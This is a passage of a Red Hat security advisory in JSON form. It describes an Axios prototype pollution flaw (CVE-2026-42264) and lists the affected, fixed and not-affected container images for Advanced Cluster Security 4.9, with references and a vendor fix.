"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget"
},
{
"cve": "CVE-2026-42264",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-05-08T04:02:21.039378+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2467927"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a widely used HTTP client. This vulnerability, known as prototype pollution, allows an attacker to inject malicious properties into core JavaScript objects. When another component in the same application environment is compromised and pollutes the system\u0027s object prototype, Axios can unknowingly use these manipulated values in its outbound network requests. This could lead to the disclosure of sensitive information or the alteration of network communications, compromising data confidentiality and integrity.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Prototype pollution allows information disclosure and request manipulation",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This Important prototype pollution flaw in Axios could result in information disclosure and network request manipulation. The vulnerability occurs when a co-located dependency in the application environment successfully pollutes the JavaScript `Object.prototype`. Under these conditions, Axios may unknowingly incorporate the manipulated properties into its outbound HTTP requests, potentially compromising data confidentiality and integrity. Exploitation is contingent on a prior successful prototype pollution attack from another component.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42264"
},
{
"category": "external",
"summary": "RHBZ#2467927",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2467927"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42264",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42264"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42264",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42264"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aa",
"url": "https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aa"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/pull/10779",
"url": "https://github.com/axios/axios/pull/10779"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/releases/tag/v1.15.2",
"url": "https://github.com/axios/axios/releases/tag/v1.15.2"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj",
"url": "https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj"
}
],
"release_date": "2026-05-08T03:20:24.248000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T14:29:00+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
